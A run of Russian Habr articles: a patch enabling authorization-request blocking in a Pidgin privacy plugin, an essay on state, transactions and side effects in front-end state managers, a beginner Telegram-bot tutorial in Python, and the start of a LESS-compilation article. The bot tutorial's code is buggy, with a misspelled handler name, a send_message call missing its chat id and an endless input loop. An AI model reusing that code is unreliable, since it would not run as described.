Как известно, библиотека libpurple не позволяла антиспам-плагинам задать причину автоматического отклонения запроса авторизации, что приводило к всплывающему окну (т.е. без плагинов оказывалось даже лучше, т.к. авторизация показывалась в окне контактов и меньше отвлекала). Автор pidgin-privacy-please (Stefan Ott) написал патч для pidgin, обеспечивающий необходимую инфраструктуру и поддержал её в своём плагине.
К сожалению, несмотря на то что патч принят в upstream, релизить 2.8.0 пока не торопятся и придётся проделать необходимую работу самостоятельно. Для этого нам понадобится pidgin 2.7.10 (текущий на данный момент), патч на него [developer.pidgin.im/ticket/8690](http://developer.pidgin.im/ticket/8690) (он же в апстриме [developer.pidgin.im/viewmtn/revision/info/490036a7b4ce807cb851ded91af7d959fe1c029e](http://developer.pidgin.im/viewmtn/revision/info/490036a7b4ce807cb851ded91af7d959fe1c029e)) и последний снапшот исходников плагина [code.google.com/p/pidgin-privacy-please](http://code.google.com/p/pidgin-privacy-please/).
Итак, чтобы избавиться от любых запросов авторизации, необходимо:
* Установить pidgin-2.7.10 (думаю можно и более раннюю версию) применив указанный выше патч
* Установить pidgin-privacy-please из транка с дополнительным патчем (см. ниже)
* В настройках плагина поставить «Block authorization requests from OSCAR (ICQ/AIM)»
* Убедиться что в плагине также включены опции «Auto-reply on blocked messages with», «Auto-reply on blocked messages from unknown people with», «Block messages from people not on your contact list»
Данная связка добавляет также возможность блокировать запросы содержащие url, но эту функциональность я себе включать не стал из-за опасений помешать входящим запросам в jabber. Поскольку за последний год у меня добавилось всего 3 или 4 контакта ICQ (и во всех случаях у собеседников была возможность связаться со мной по почте или телефону), вариант с полным отказом от входящих запросов авторизации по этому протоколу более-менее приемлем.
Проверялось всё под Linux, но не вижу причин мешающих повторить это и в Windows.
```
diff -Naur a/src/pidgin-pp.c b/src/pidgin-pp.c
--- a/src/pidgin-pp.c 2011-02-20 12:34:06.234472155 +0600
+++ b/src/pidgin-pp.c 2011-02-20 12:35:44.954334909 +0600
@@ -200,7 +200,7 @@
}
static int
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
request_authorization_cb(PurpleAccount* account, char *sender, char *msg)
#else
request_authorization_cb(PurpleAccount* account, char *sender)
@@ -238,7 +238,7 @@
return deny;
}
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
if (prefs_auth_block_with_url() && (msg != NULL))
{
const gchar *pattern = "http:\\/\\/";
@@ -348,7 +348,7 @@
purple_signal_connect(conv_handle, "receiving-im-msg",
plugin, PURPLE_CALLBACK(receiving_im_msg_cb), NULL);
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
purple_signal_connect(acct_handle,
"account-authorization-requested-with-message",
plugin, PURPLE_CALLBACK(request_authorization_cb),
diff -Naur a/src/pp-prefs.c b/src/pp-prefs.c
--- a/src/pp-prefs.c 2011-02-20 12:34:06.234472155 +0600
+++ b/src/pp-prefs.c 2011-02-20 12:35:11.796420366 +0600
@@ -71,7 +71,7 @@
pref_boolean(auth_block_all, "block_auth_all");
pref_boolean(auth_block_oscar, "block_auth_oscar");
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
pref_boolean(auth_block_with_url, "block_auth_with_url");
#endif // PURPLE_VERSION_CHECK
pref_boolean(auth_block_repeated, "block_denied");
@@ -183,7 +183,7 @@
pidgin_prefs_checkbox(
_("Block authorization requests from OSCAR (ICQ/AIM)"),
"/plugins/core/pidgin_pp/block_auth_oscar", tab_vbox);
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
pidgin_prefs_checkbox(
_("Block authorization requests with hyperlinks"),
"/plugins/core/pidgin_pp/block_auth_with_url", tab_vbox);
@@ -266,7 +266,7 @@
"/plugins/core/pidgin_pp/block_auth_all", FALSE);
purple_prefs_add_bool(
"/plugins/core/pidgin_pp/block_auth_oscar", FALSE);
-#if PURPLE_VERSION_CHECK(2, 8, 0)
+#if PURPLE_VERSION_CHECK(2, 7, 0)
purple_prefs_add_bool(
"/plugins/core/pidgin_pp/block_auth_with_url", FALSE);
#endif // PURPLE_VERSION_CHECK
``` | https://habr.com/ru/post/114122/ | null | ru | null |
# Что такое состояние
[](https://habr.com/ru/company/ruvds/blog/706086/)
Привет! Меня зовут Артём Арутюнян, много где меня можно встретить под ником artalar. 10 лет я разрабатываю крупные веб-сервисы, и вот уже четыре года [менеджер состояния](https://www.reatom.dev/), исследуя тему реактивности, консистентности данных и состояния. А началось всё с простого вопроса: почему React, самая популярная современная библиотека для написания UI, по умолчанию полностью рушит приложение и показывает белый экран при появлении ошибки в любом компоненте во время рендера?
В данной статье хотелось бы описать и раскрыть формальную сторону вопроса «что такое состояние» для лучшего понимания фундаментальных основ надёжности любого клиентского приложения. Хочется уже поставить точки в некоторых вопросах терминологии, чтобы чётче отвечать на вопросы «что, когда и зачем брать» при выборе библиотек и технологий для клиентского веб-приложения.
Примеров будет немного, т. к. их достаточное описание превратило бы статью в небольшую книжку. Но надеюсь, что сами идеи всё же будут понятны.
> Данная статья является расширенной версией её [англоязычного варианта](https://www.reatom.dev/general/what-is-state-manager), который я написал пару месяцев назад.
Мы пойдём от общего к частному и поэтапно будем декларировать на основе простых понятий более сложные: Информация > Данные > Кеш > Стейт > Транзакция.
> Из описаний ниже видно, что некоторые концепции имеют схожие характеристики и названия и берут по чуть-чуть из разных областей: [теории конечных автоматов (КА)](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%BE%D0%B2), теории баз данных и [ACID](https://ru.wikipedia.org/wiki/ACID) в частности. Общая суть управления состояния, которой мы занимаемся в рядовой веб-разработке, в итоге заключается в реализации тех или иных свойств и функций КА и ACID в контексте реактивного программирования.
▍ Information
-------------
Информация — это какие-либо сведения, независимо от формы их представления.
Информация просто существует, она не привязана к какому-то носителю, будь то текст, пословица или наскальный рисунок. Это общее слово, означающее наличие каких-то (конкретных или нет) знаний. Управляется каналами связи (интернет, письменность, речь).
▍ Data
------
Данные — структурированная информация.
Данные — это информация, которая всё ещё может быть не привязана к какому-то носителю (а может быть и привязана: обрабатываться или храниться на нём), но она должна иметь чёткую структуру, выражаемую, например, типами статически типизируемого ЯП или документацией к её источнику.
Менеджер данных — это средство управления (хранения и обработки) определённой информации. Чаще всего это информация определённого типа и семантики — **домена**. Например, частные случаи менеджера данных: библиотеки для управления формами ([Formik](https://formik.org/), [Final-form](https://final-form.org/)), роутингом ([React-router](https://reactrouter.com/), [Router5)](https://router5.js.org/), отображением ([React](https://reactjs.org), [Ember](https://emberjs.com/)).
▍ Cache
-------
Кэш — это экземпляр данных, привязанный к какому-то носителю и имеющий время жизни.
Последнее условие очень важно — вычислительные ресурсы не бесконечны, и поэтому мы не можем всегда вычислять производные данные по любому запросу заново — нужно сохранять промежуточные результаты. При этом сохранять абсолютно все промежуточные результаты мы не можем, поэтому управление кэшем — это всегда сложная задача баланса между его количеством, временем жизни и теми ресурсами, что он экономит. Обычно управлением кэша занимаются дата-менеджеры с фокусом на доменной области, которая близка к вводу-выводу ([IO](https://ru.wikipedia.org/wiki/%D0%92%D0%B2%D0%BE%D0%B4-%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4)), т. е. занимается получением или отправкой данных. Например: [React-query](https://react-query.tanstack.com/), [RTK Query](https://rtk-query-docs.netlify.app/), [SWR](https://swr.vercel.app/), [urql](https://formidable.com/open-source/urql/docs/), [Apollo Client](https://www.apollographql.com/apollo-client/).
▍ State
-------
Состояние — это семантически согласованный кэш.
> Подробнее познакомиться с концепцией семантики в языках программирования можно по моей [статье](http://csssr.github.io/2019/05/26/semantics-in-programming/) или [докладу](https://www.youtube.com/watch?v=rVFW009olAI).
О состоянии можно говорить как о данных, связанных каким-то смыслом, хотя часто речь идёт о каком-то конкретном кэше. Например, данные о светофоре содержат информацию о трёх лампочках, их цветах и о том, какая из них включена. Семантика же вытекает из предметной области и является смыслом данных: одновременно может быть включена лишь одна лампочка, а порядок их переключения строго регламентирован. Эта информация описывается не структурой данных, а кодом, поэтому менее явная, хотя не менее важная.
> Стоит заметить, что эту информацию можно записать в виде данных, используя концепцию конечных автоматов.
Важная отличительная особенность состояния как явления, которую можно вывести из примера со светофором, заключается в необходимости согласованности данных: мы не можем включить одну лампочку, не выключив другую, иначе мы получим ошибочные данные с их непредсказуемым влиянием на пользователя. Свойство состояния быть всегда согласованным, т. е. содержать не противоречащие друг другу данные, в теории баз данных называется [атомарностью](https://en.wikipedia.org/wiki/Atomicity_(database_systems)).
В теории конечных автоматов считается, что количество возможных состояний [должно быть конечно](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D0%BE%D0%B5_%D0%BC%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE). Это очень красивая теория, которая, при её реализации, позволяет намного проще статически валидировать и тестировать код. Наивная реализация не так сложна, как может показаться, и топорно может быть описана просто как дублированный перебор всех возможных вариантов входящих значений, в чём может помочь статическая типизация, т. е. статическое описание всех этих частных вариантов. Делать абсолютный перебор кажется избыточным или нереализуемым из-за неизвестного количества вариантов входных значений. Можно попытаться найти промежуточное решение и сделать дизайн интерфейсов обработки данных с некоторыми ограничениями, которые будут позволять обрабатывать только специфические данные. В реальной разработке это постоянно происходит, когда абстрактные интерфейсы обрастают доменной специфичностью и предоставляют узкие методы для работы с конкретными наборами данных, вроде уже упомянутых библиотек для управления формами, роутингом, сетевым кэшем.
Проблема специфичных библиотек возникает на границе их совместного использования, когда наличие отдельных очередей подписчиков мешает поддержать атомарность в транзакции или реализовать синхронный батчинг (накопление изменений перед их последующей обработкой).
▍ Transaction
-------------
Транзакция — процесс перехода между состояниями. Также является [частью теории баз данных](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D1%8F_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) и в контексте этой статьи может использоваться как обозначение [операции перехода из теории конечных автоматов](https://en.wikipedia.org/wiki/Transition_system).
Изменение данных, или переход из одного состояния в другое не может быть абсолютно мгновенным и требует выполнить ряд шагов, в которых может возникнуть ошибка, которая приведёт нас к дилемме — что делать с изменениями из уже выполненных шагов? Это сложный и дискуссионный вопрос, который может иметь разные ответы в разных системах, но базовой лучшей практикой, выработанной в проектировании баз данных, является концепция [ACID](https://en.wikipedia.org/wiki/ACID), пропагандирующая гарантию атомарности системы, о которой упоминалось выше, и означающей недопущение несогласованного состояния (его частичного обновления). Точнее говоря, несогласованные данные могут жить лишь в кратковременной транзакции, которая по своему завершению должна сохранить либо все накопленные данные полностью и гарантированно, либо, при возникновении ошибки в процессе, не применить новые изменения вовсе.
Кто-то скажет, что отбрасывание всех изменений не согласуется с модульными системами, где падение в одном модуле не должно влиять на другие модули. Это верно с точки зрения общей работы приложения, но не с точки зрения транзакции какого-то конкретного процесса, а они (транзакции) только такие и бывают. Т. е. каждая транзакция — это контейнер какой-то логической операции, возможно бизнес-процесса, которая если и затрагивает разные модули системы, то делает это, очевидно, по причинам наличия связей между этими модулями, которые нужно учитывать или, что бы они не попадали в транзакцию, описывать как-то иначе, вне основного контекста менеджера состояния.
*Это была основная теория с ключевыми определениями, теперь можно немного углубиться в прикладную область. Обработку транзакции можно реализовать двумя подходами.*
> В обоих подходах обработки данных в транзакции можно получить серьёзные проблемы при допущении асинхронных транзакций, когда шаг может приостанавливать (например, промисом) транзакцию. Мы не будем разбирать подобные примеры, т. к. это отдельная огромная тема, начать изучение которой можно с того же ACID. Можно лишь заметить, что невозможно придумать универсальных систем разрешения конфликтов асинхронных операций, т. к. в зависимости от решаемой задачи могут потребоваться разные стратегии поведения. Тот же [CRDT](https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type) чаще всего предполагает стратегию приоритета последней по времени операции, которую невозможно применять в финансовом секторе.
▍ Patch
-------
[Patch](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%82%D1%87) — это накопление изменения в новой структуре данных, которая будет объединена с основным хранилищем данных после успешного завершения транзакции или удалена в случае ошибки (но может быть использована для дебага). Этот подход часто применяется в иммутабельных системах. [Вот пример реализации](https://www.reatom.dev/general/what-is-state-manager) дружественной к пользователю библиотеки.
▍ Immutability
--------------
[Иммутабельность](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D1%8F%D0%B5%D0%BC%D1%8B%D0%B9_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82) — подход к изменению данных через их частичное или полное пересоздание. Можно выделить несколько подходов.
* [Snapshot](https://en.wikipedia.org/wiki/Snapshot_(computer_storage)) / Dump — полный слепок данных.
* [Persistent](https://en.wikipedia.org/wiki/Persistent_data_structure) — данные базируются на частичном инкременте предыдущей версии данных, т. е. в новую структуру копируются новые изменённые данные и старые не изменённые.
* [Transient](https://clojure.org/reference/transients) — данные имеют свойства неизменяемых данных, но допускают мутации, которые никак не скажутся на обращении к этим данным других источников. Хорошим примером может служить функция *reduce*, переданный ей колбек исполняется синхронно и больше не вызывается после завершения обхода, поэтому в нём допускается безопасная мутация аккумулятора.
```
const elementsById = elementsList.reduce((acc, el) => {
// `return { ...acc, [el.id]: el }` избыточно
acc[el.id] = el;
return acc;
}, {});
```
▍ Rollback
----------
[Rollback](https://en.wikipedia.org/wiki/Rollback_(data_management)) — это техника накопления информации о том, как обратить сделанные изменения. Т. е. во время транзакции мы мутируем основное хранилище данных, предварительно сохраняя предыдущие значения. При появлении ошибки мы откатываем транзакцию, применяя роллбеки и восстанавливая предыдущие значения. [Вот пример реализации](https://www.reatom.dev/core#ctxschedule-rollback-api).
Есть и обратный откату подход — [event sourcing](https://habr.com/ru/company/otus/blog/518282/). Он предполагает накапливать не информацию о том, как восстановить предыдущую версию состояния (в этом случае нам нужно идти к нужной версии с конца, поэтапно применяя откат за откатом), а сохранять лог всех входящих событий, из которых происходит вычисление каждой следующей версии состояния. В этом случае, храня начальное состояние (обычно, оно небольшое), можно поэтапно применяя событие из лога получать всё более свежую версию состояния.
Все эти подходы могут иметь разную вычислительную стоимость и с разной сложностью интегрироваться в архитектуру приложения, поэтому нужно взвешенно подходить к выбору какого-то конкретного или сочетать их. Например, делать слепок состояния каждые N событий и чистить лог предыдущих событий, кажется эффективным вариантом в случае необходимости путешествия между не более чем N версиями.
Самое явное практическое применение путешествия между версиями состояния — это time tavel для дебага и тестирования, когда нужно быстро воспроизвести какое-то неявное состояние системы (или до которого сложно / долго дойти «руками») чтобы протестировать следующий переход в новое состояние или вообще как какое-то действие применяется к определённому состоянию.
▍ Persistence
-------------
Могут быть и вполне бизнесовые требования, реализация которых аналогична реализации time travel — чаще всего, это сохранение клиентского состояния (или лога событий / откатов) в ПЗУ (это тоже называют термином persistence, который мы разбирали выше) для возможности его восстановления после выключения приложения (закрытия или перезагрузки вкладки в случае web-приложений). Чем сложнее приложение и его клиентское состояние, тем сложнее будет эта задача. Первостепенно, состояние должно быть *сериализуемое (serializable)* — т. е. иметь возможность быть сконвертировано в бинарное представление, например, для помещения в localStorage. Уже на этом этапе мы понимаем что не можем хранить в состоянии функции, будем иметь сложности при использовании Symbol, Map, Set из ES5 (т.к. они не имеют специфического представления в JSON) и BigInt из ES8. Также сложности будут при наличии циклических зависимостей в объектах, что является распространённым паттерном при использовании мутабельных структур данных, например с MobX. Часть этих проблем решается продвинутыми сериализаторами (которые нужно писать самому или использовать сторонние библиотеки), но если использовать иммутабельные структуры данных в большинстве случаев будет достаточно простых JSON.stringify / JSON.parse. Конечно, стоит учитывать, что у клиента не бесконечное пространство на диске и мы не можем складывать в него тысячи событий или мегабайты слепков / дампов, поэтому хорошей практикой является выделение ключевых мест (частей состояния) для персистентности и их точечная обработка, что обычно также усложняет этот процесс.
Но задача сложнее, чем просто выбор используемой структуры данных и принятие некоторых ограничений. Со временем приложение меняется и структура его состояния тоже, что приводит нас к проблеме — что, если пользователь сохранит состояние в формате одной версии приложения, а загрузит его уже в новой версии приложения, в которой формат состояния будет отличаться — как это обрабатывать и что делать при различиях в частях состояния? Здесь, опять же, могут быть разные стратегии разрешения конфликтов и, скорее всего, они будут зависеть от типа и важности данных, которые находятся в состоянии. Также чтобы это обрабатывать корректно, стоит в состоянии фиксировать версию приложения и, возможно, придерживаться какой-то системы разновидностей версий, вроде [semver](https://semver.org/), и полностью сбрасывать персистентные данные при мажорном обновлении — это самая простая стратегия.
Так как речь идёт о клиентском состоянии, стоит помнить, что путешествия по нему никак не связаны с состоянием бэкенда (базой) и обстоятельства могут так сложиться, что стейт, к которому был произведён откат, может конфликтовать с данными от удалённого сервера, иначе говоря, сайд-эффекты живут отдельной жизнью и это стоит учитывать. Например, если пользователь разлогинился в приложении и токен авторизации был инвалидирован, откатившись назад к какому-то состоянию мы не сможем повторить какую-то операцию из него, потому что любой запрос на бэкенд теперь будет отдавать 401.
▍ Side-effect
-------------
Что такое сайд-эффект, тема достаточно спорная. В общем это какое-то вычисление, результат которого влияет на внешний мир. Что такое внешний мир, определить уже сложно, но в моём понимании это что-то неподконтрольное. Я бы выделил интересным свойством внешнего мира — невозможность отката какого-то с ним взаимодействия. И наоборот, если интерфейс какого-то вычисления предоставляет роллбек, то, может быть, это уже не сайд-эффект? Например, является ли возможность использования [AbortController](https://developer.mozilla.org/docs/Web/API/AbortController) для Fetch возможностью отката отправленных изменений? Нет, потому что откат может потребоваться уже после завершения отправки запроса. Но если каждая функция обновления данных на бэкенде у нас сопровождается функцией отмены этого обновления — является ли группа таких функций чистой функцией? Тоже нет, потому что в этом случае нарушается правило [идемпотентности](https://habr.com/ru/company/yandex/blog/442762/) — повторимости результата при одинаковых входных значениях. Т. е. если мы вызовем функцию добавления товара в корзину, у нас будет 1 товар в корзине, а если мы вызовем функцию повторно, товаров в корзине будет уже два. Можно было бы сказать что идемпотентность любой функции достигается вызовом роллбека на ней и это может быть правдой, но в реальности он часто является сайд-эффектом, и на это нельзя слепо полагаться (вспомним пример с разлогином — мы не можем откатить эту операцию, это противоречит политикам безопасности). Разделять сайд-эффекты и чистые функции важно, потому что чистые функции дают предсказуемый и переиспользуемый результат, которым мы легко можем управлять.
Логично при совершении какой-то операции стараться сначала выполнять все чистые функции и уже в случае их успеха выполнять сайд-эффекты, потому что при ошибке в чистых функциях мы сможем полностью отбросить результат и недопустить неконсистентное состояние (клиентское или системы в общем — между клиентом и бэкендом), а при ошибке в сайд-эффекте гарантий на недопуск неконсистентности нет. Например, для лайка новости нам нужно: увеличить общий счётчик лайков всех новостей в локальном стейте, отправить запрос на бэкенд (сайд-эффект), переключить статус лайка в локальном стейте. Если перечисленные действия выполнять в описанном порядке и по какой-то причине переключение статуса выкинуло ошибку (например, мы неправильно передали идентификатор записи с новостью, получили из списка новостей undefined и не смогли обратиться к полю статуса), то мы получим неконсистентность: информация на бэкенде обновлена и частично обновлена локально (общий счётчик увеличен) — откатывать всё или оставлять так — всё будет неудачным компромиссом. Но если бы мы сначала произвели работу с локальным состоянием, а лишь потом намеревались сделать сайд-эффекты, то при ошибке в переключении статуса мы бы откатили все его накопленные изменения и могли бы безопасно не вызывать сайд-эффект — никакой неконсистентности.
Ключевая функция менеджера состояния — это наличие двух последовательных очередей — очередь чистых функций — выполнения вычисления (computed / derived) нового состояния и очередь сайд-эффектов — подписок (subscribers / listeners). Наличие двух последовательных очередей гарантирует максимально безопасное исполнение сайд-эффектов, когда весь клиентский стейт уже находится в консистентном состоянии.
Стоит заметить, что из-за невозможности контроля сайд-эффектов хорошей практикой является их вызов с оборачиванием каждой функции в try-catch для их изоляции друг от друга. Но из этого вытекает другая проблема — что делать, если наша транзакция, реализующая какую-то бизнес-логику, проходит через несколько менеджеров? Например, у нас есть данные формы, которые нужно отправить на бэкенд. В этом будут участвовать аж три менеджера: формы (отвечает за заполнение и валидацию полей), сетевого кэша (отвечает за данные и их статусы — загрузка / ошибка) и роутинг (переход на следующую необходимую страницу). При сабмите формы мы валидируем и выгружаем данные её полей и отправляем подписчикам — роутингу и на бэкенд. Но что, если при отправке данных возникнет ошибка (например, проблемы с качеством сетевого соединения) — откатить транзакцию, т. е. восстановить данные формы автоматически уже не получится, потому что ошибка произошла в сайд-эффекте. Но даже если бы ошибка произошла до отправки данных на сервер — при их сериализации, например, или просто из-за ошибки в коде — операция всё равно не могла бы быть отменена, потому что с точки зрения форм-менеджера ошибка произошла в очереди неподконтрольных сайд-эффектов. В итоге мы можем иметь пустую форму, но неотправленные данные — это частая проблема UX, которую можно встретить и на маленьких сайтах, и в больших веб-приложениях.
Сейчас разработчики при использовании различных менеджеров для каждой локальной задачи вручную описывают обработку ошибки для каждой доменной области (имеет свою очередь подписок). Но эту работу можно было бы уменьшить, если бы каждый доменный менеджер строился поверх какой-то единой фундаментальной библиотеки. Эта библиотека не должна предоставлять решения абсолютно всех задач, наоборот, быть настолько простой, чтобы её можно было без проблем использовать для построения каких-то более сложных и специфичных решений. Главная задача такой фундаментальной библиотеки — единая точка управления очередями подписчиков и экземпляром транзакции. Звучит достаточно абстрактно и на деле реализации таких библиотек функционально могут очень отличаться и даже работать под капотом совсем не так, как описано выше. Но, для примера, можно рассмотреть библиотеку [redux-saga](https://redux-saga.js.org/) — она работает с любым [eventemiter](https://css-tricks.com/understanding-event-emitters/) и предоставляет эффективные и элегантные абстракции для построения конкурентных и отменяемых или переиспользуемых цепочек синхронных и асинхронных операций.
Фундаментальной библиотекой может выступать и часто выступает менеджер view-слоя: React / Vue. Это хороший подход, который позволяет достичь высокой производительности небольшими силами на приложениях маленького и среднего размера. Но стоит учитывать, что подобные библиотеки фокусируются на том, что компонент — это переиспользуемая единица со своим локальным состоянием, и поэтому они плохо справляются с задачей иметь общие компоненты / сервисы, имеющие общедоступное состояние. Чем более интерактивное приложение и чем больше оно содержит промежуточных состояний перехода между фичами / процессами или предоставляет широкие возможности для работы с данными, их асинхронной обработкой (step-by-step формы, например), тем выразительнее, проще и эффективнее будет описывать логику работы приложения в отдельном техническом слое, для управления которого, скорее всего, лучше всего подойдёт менеджер состояния.
Завершая это повествование и подводя итоги, не могу не порекомендовать свою [разработку](https://www.reatom.dev/). В этой библиотеке продуманы и собраны все лучшие практики, описанные в этой статье (и даже больше), а её вес всего [2KB](https://bundlejs.com/?q=%40reatom%2Fcore). Сейчас идёт активная работа над экосистемой, [пакет для работы с сетевым кешем](https://www.reatom.dev/packages/async) уже достаточно зрелый, в скором времени появятся пакеты для персистенции, форм и ещё куча всего.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=artalar&utm_content=chto_takoe_sostoyanie) | https://habr.com/ru/post/706086/ | null | ru | null |
# Простой Telegram-бот на Python за 30 минут
На Хабре, да и не только, про ботов рассказано уже так много, что даже слишком. Но заинтересовавшись пару недель назад данной темой, найти нормальный материал у меня так и не вышло: все статьи были либо для совсем чайников и ограничивались отправкой сообщения в ответ на сообщение пользователя, либо были неактуальны. Это и подтолкнуло меня на написание статьи, которая бы объяснила такому же новичку, как я, как написать и запустить более-менее осмысленного бота (с возможностью расширения функциональности).
### Часть 1: Регистрация бота
Самая простая и описанная часть. Очень коротко: нужно найти бота *@BotFather*, написать ему */start*, или */newbot*, заполнить поля, которые он спросит (название бота и его короткое имя), и получить сообщение с токеном бота и ссылкой на документацию. Токен нужно сохранить, желательно надёжно, так как это единственный ключ для авторизации бота и взаимодействия с ним.
### Часть 2: Подготовка к написанию кода
Как уже было сказано в заголовке, писать бота мы будем на Python'е. В данной статье будет описана работа с библиотекой PyTelegramBotAPI (Telebot). Если у вас не установлен Python, то сперва нужно сделать это: в терминале Linux нужно ввести
```
sudo apt-get install python python-pip
```
Если же вы пользуетесь Windows, то нужно скачать Python с официального сайта .
После, в терминале Linux, или командной строке Windows вводим
```
pip install pytelegrambotapi
```
Теперь все готово для написания кода.
### Часть 3: Получаем сообщения и говорим «Привет»
*Небольшое отступление. Телеграмм умеет сообщать боту о действиях пользователя двумя способами: через ответ на запрос сервера (Long Poll), и через Webhook, когда сервер Телеграмма сам присылает сообщение о том, что кто-то написал боту. Второй способ явно выглядит лучше, но требует выделенного IP-адреса, и установленного SSL на сервере. В этой статье я хочу рассказать о написании бота, а не настройке сервера, поэтому пользоваться мы будем Long Poll'ом.*
Открывайте ваш любимый текстовый редактор, и давайте писать код бота!
Первое, что нужно сделать это импортировать нашу библиотеку и подключить токен бота:
```
import telebot;
bot = telebot.TeleBot('%ваш токен%');
```
Теперь объявим метод для получения текстовых сообщений:
```
@bot.message_handler(content_types=['text'])
def get_text_messages(message):
```
В этом участке кода мы объявили слушателя для текстовых сообщений и метод их обработки. Поле content\_types может принимать разные значения, и не только одно, например
```
@bot.message_handler(content_types=['text', 'document', 'audio'])
```
Будет реагировать на текстовые сообщения, документы и аудио. Более подробно можно почитать в [официальной документации](https://github.com/eternnoir/pyTelegramBotAPI)
Теперь добавим в наш метод немного функционала: если пользователь напишет нам «Привет», то скажем ему «Привет, чем я могу помочь?», а если нам напишут команду «/help», то скажем пользователю написать «Привет»:
```
if message.text == "Привет":
bot.send_message(message.from_user.id, "Привет, чем я могу тебе помочь?")
elif message.text == "/help":
bot.send_message(message.from_user.id, "Напиши привет")
else:
bot.send_message(message.from_user.id, "Я тебя не понимаю. Напиши /help.")
```
Данный участок кода не требует комментариев, как мне кажется. Теперь нужно добавить в наш код только одну строчку (вне всех методов).
```
bot.polling(none_stop=True, interval=0)
```
Теперь наш бот будет постоянно спрашивать у сервера Телеграмма «Мне кто-нибудь написал?», и если мы напишем нашему боту, то Телеграмм передаст ему наше сообщение. Сохраняем весь файл, и пишем в консоли
```
python bot.py
```
Где bot.py – имя нашего файла.
Теперь можно написать боту и посмотреть на результат:
### Часть 4: Кнопки и ветки сообщений
Отправлять сообщения это несомненно весело, но ещё веселее вести с пользователем диалог: задавать ему вопросы и получать на них ответы. Допустим, теперь наш бот будет спрашивать у пользователя по очереди его имя, фамилию и возраст. Для этого мы будем использовать метод register\_next\_step\_handler бота:
```
name = '';
surname = '';
age = 0;
@bot.message_handler(content_types=['text'])
def start(message):
if message.text == '/reg':
bot.send_message(message.from_user.id, "Как тебя зовут?");
bot.register_next_step_handler(message, get_name); #следующий шаг – функция get_name
else:
bot.send_message(message.from_user.id, 'Напиши /reg');
def get_name(message): #получаем фамилию
global name;
name = message.text;
bot.send_message(message.from_user.id, 'Какая у тебя фамилия?');
bot.register_next_step_handler(message, get_surnme);
def get_surname(message):
global surname;
surname = message.text;
bot.send_message('Сколько тебе лет?');
bot.register_next_step_handler(message, get_age);
def get_age(message):
global age;
while age == 0: #проверяем что возраст изменился
try:
age = int(message.text) #проверяем, что возраст введен корректно
except Exception:
bot.send_message(message.from_user.id, 'Цифрами, пожалуйста');
bot.send_message(message.from_user.id, 'Тебе '+str(age)+' лет, тебя зовут '+name+' '+surname+'?')
```
И так, данные пользователя мы записали. В этом примере показан очень упрощённый пример, по хорошему, хранить промежуточные данные и состояния пользователя нужно в БД, но мы сегодня работаем с ботом, а не с базами данных. Последний штрих – запросим у пользователей подтверждение того, что все введено верно, да не просто так, а с кнопками! Для этого немного отредактируем код метода get\_age
```
def get_age(message):
global age;
while age == 0: #проверяем что возраст изменился
try:
age = int(message.text) #проверяем, что возраст введен корректно
except Exception:
bot.send_message(message.from_user.id, 'Цифрами, пожалуйста');
keyboard = types.InlineKeyboardMarkup(); #наша клавиатура
key_yes = types.InlineKeyboardButton(text='Да', callback_data='yes'); #кнопка «Да»
keyboard.add(key_yes); #добавляем кнопку в клавиатуру
key_no= types.InlineKeyboardButton(text='Нет', callback_data='no');
keyboard.add(key_no);
question = 'Тебе '+str(age)+' лет, тебя зовут '+name+' '+surname+'?';
bot.send_message(message.from_user.id, text=question, reply_markup=keyboard)
```
И теперь наш бот отправляет клавиатуру, но если на нее нажать, то ничего не произойдёт. Потому что мы не написали метод-обработчик. Давайте напишем:
```
@bot.callback_query_handler(func=lambda call: True)
def callback_worker(call):
if call.data == "yes": #call.data это callback_data, которую мы указали при объявлении кнопки
.... #код сохранения данных, или их обработки
bot.send_message(call.message.chat.id, 'Запомню : )');
elif call.data == "no":
... #переспрашиваем
```
Остаётся только дописать в начало файла одну строку:
```
from telebot import types
```
Вот и всё, сохраняем и запускаем нашего бота:
 | https://habr.com/ru/post/442800/ | null | ru | null |
# Серверный процессинг LESS файлов «на лету» своими руками
[LESS](http://lesscss.org/) — это популярный препроцессор для языка CSS, добавляющий возможности использовать константы, наследование, вложенные стили и много другое, чего так не хватает в CSS. Как только я познакомился с LESS я понял что это то, что мне нужно. Единственное, что омрачило мою радость — разработчики предлагают всего два варианта его использования: встраивать JavaScript файл, который занимается препроцессингом прямо в браузере или использовать специальный скрипт (который должен исполняться на node.js) который процессирует LESS файлы.
Вариант c процессингом LESS файлов на клиенте мне не понравился тем, что для больших LESS файлов это вызывает ощутимые паузы при загрузке страницы. Если использовать LESS версию твиттерного bootstrap-a — загрузка увеличивается на несколько секунд, что абсолютно недопустимо.
Вариант с предварительной компиляцией меня не устраивал тем, что приходится «вручуную» запускать препроцессор. Я видел программу, которая автоматически перегенерирует LESS файлы при их изменении, но она оказалась платной и только под МакОСь.
